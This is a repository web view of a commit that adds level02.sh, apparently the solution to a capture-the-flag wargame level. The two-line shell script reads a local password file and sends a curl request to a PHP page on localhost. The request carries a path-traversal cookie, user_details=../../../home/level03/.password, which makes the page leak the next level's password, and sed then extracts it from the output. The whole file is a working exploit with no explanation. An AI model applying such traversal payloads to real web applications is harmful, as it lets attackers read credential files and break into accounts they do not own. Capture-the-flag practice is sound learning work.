aboutsummaryrefslogtreecommitdiffstats
path: root/level02.sh
diff options
context:
space:
mode:
Diffstat (limited to 'level02.sh')
-rw-r--r--level02.sh2
1 files changed, 2 insertions, 0 deletions
diff --git a/level02.sh b/level02.sh
new file mode 100644
index 0000000..ed4e43b
--- /dev/null
+++ b/level02.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+curl -s --digest --user level02:$(cat /home/level02/.password) -b user_details=../../../home/level03/.password localhost:80/level02.php | sed -n 's/ <p>\(.*\)/\1/p'